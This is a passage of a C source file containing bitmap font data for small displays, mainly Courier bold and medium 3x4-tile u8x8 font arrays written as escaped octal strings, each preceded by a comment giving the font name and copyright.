\"\\374>\\16\\7\\7\\7\\7\\7\\7\\7\\16>\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37>\\70ppppp\"\n  \"pp\\70>\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\377\"\n  \"\\377\\377\\34\\16\\6\\7\\7\\7\\7\\7\\16\\36\\374\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\34\\70\\60ppp\"\n  \"p\\70\\70\\36\\37\\17\\3\\0\\0\\0\\0\\0\\70\\70\\70\\77\\77\\77\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\"\n  \">\\16\\17\\7\\7\\7\\7\\17\\16>\\377\\377\\377\\7\\7\\7\\0\\0\\0\\0\\0\\3\\17\\37>\\70xpppp\\70\"\n  \"\\70\\36\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\77\\77\\77\\70\\70\\70\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\377\\377\\377<\\16\\16\\7\\7\\7\\17\\37\\16\\4\\0\\0\\0\\0\\0\\0\\0pppp\\177\\177\\177ppp\"\n  \"pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"x\\376\\376\\357\\307\\307\\307\\307\\307\\217\\236\\237\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0~~~\\70\\71qqqq\"\n  \"qs;\\77\\37\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\"\n  \"\\7\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\77xppp\"\n  \"px\\70<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\177xpppp\"\n  \"x\\70\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\17\\77\"\n  \"\\377\\377\\347\\207\\0\\0\\0\\207\\347\\377\\177\\37\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77~x~\\37\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\177\\377\"\n  \"\\377\\307\\7\\340\\370\\370\\370\\340\\7\\307\\377\\377\\177\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\177\\177\\177\\17\\1\\0\\1\\17\"\n  \"\\177\\177\\177\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\17\"\n  \"\\37\\77\\177\\367\\340\\300\\340\\367\\77\\37\\17\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0pppx|~w\\3\\1\\3w\"\n  \"\\177~|xpp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\17\"\n  \"\\77\\377\\377\\347\\207\\0\\0\\0\\7\\307\\367\\377\\77\\17\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\376\\370\\374\"\n  \"\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70<\\77\\77;\\70\\70\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\77\\77\\77\\7\\207\\307\\347\\367\\177\\77\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0x|~\\177wsqp\"\n  \"pp|||\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374<\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\300\\300\\340\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\16\\16\\16\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34<\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\377\\377\\340\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\"\n  \"\\370\\70\\34<x\\370\\360\\340\\300\\340\\370x\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -Adobe-Courier-Bold-R-Normal--34-240-100-100-M-200-ISO10646-1\n  Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved.\n  Glyphs: 18/873\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_courB24_3x4_n[2596] U8X8_FONT_SECTION(\"u8x8_font_courB24_3x4_n\") = \n  \" :\\3\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\"\n  \"\\7\\207\\316\\376\\374\\177\\77\\177\\374\\376\\316\\207\\7\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\1\\0\\0\\0\\0\"\n  \"\\0\\1\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\377\\377\\377\\1\"\n  \"\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360\\360\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70>\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374|\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\376\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\77\\7\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\37\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340ppppp\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\1\\0\\0\\0\\0\\0\\1\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\177\\377\\360\\300\\300\\300\\300\\300\"\n  \"\\360\\377\\177\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\340\\340\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\3\\3\\1\\1\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\377\\377\\377\"\n  \"\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340ppppp\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\0\\0\\0\\200\\300\\340\\360\\177\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\336\\317\\307\\303\\301\"\n  \"\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\300\\340\\340ppppp\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0pppp\\360\\370\\377\\337\\217\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\340\\361\\377\\177\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\300\\360\\374\\77\\37\\7\\1\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\17\\17\\16\\16\\316\\316\\316\\377\"\n  \"\\377\\377\\316\\316\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360ppppppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\177\\177\\177\\70\\70\\70\\70xx\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\340\\340\\300\\300\\300\\300\\300\\300\"\n  \"\\340\\360\\377\\77\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360ppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\"\n  \"\\376\\377\\317\\343appp\\360\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\177\\377\\371\\340\\300\\300\\300\\300\"\n  \"\\340\\361\\377\\177\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\360\\360ppppppp\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\300\\370\\377\\177\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\177\\37\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340ppppp\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\237\\377\\370\\360\\360pp\\360\\370\\377\\337\\207\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\177\\377\\341\\340\\300\\300\\300\\300\"\n  \"\\340\\341\\377\\177\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360ppp\\360\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\"\n  \"\\177\\377\\341\\300\\200\\200\\200\\300\\341\\177\\377\\377\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\341\\301\\303\\303\\303\\343\\341\"\n  \"x~\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\30<<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -Adobe-Courier-Medium-R-Normal--34-240-100-100-M-200-ISO10646-1\n  Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved.\n  Glyphs: 191/873\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_courR24_3x4_f[21508] U8X8_FONT_SECTION(\"u8x8_font_courR24_3x4_f\") = \n  \" \\377\\3\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\341\\340\"\n  \"@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\77\\7\\1\\0\\0\\0\\1\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\370\\0\\0\\200\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\10\\10\\10\\377\\10\\10\\10\\377\\10\\10\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\302\\77\\2\\2\\342\\77\"\n  \"\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\0\\0\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300@` < `@\\300\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\14\\30\\20\\20\\60  `@\\301\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<\\30\\20\\60 \\340 \\60\"\n  \"\\20\\30\\14\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300`\\60\\20\\20\\60`\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  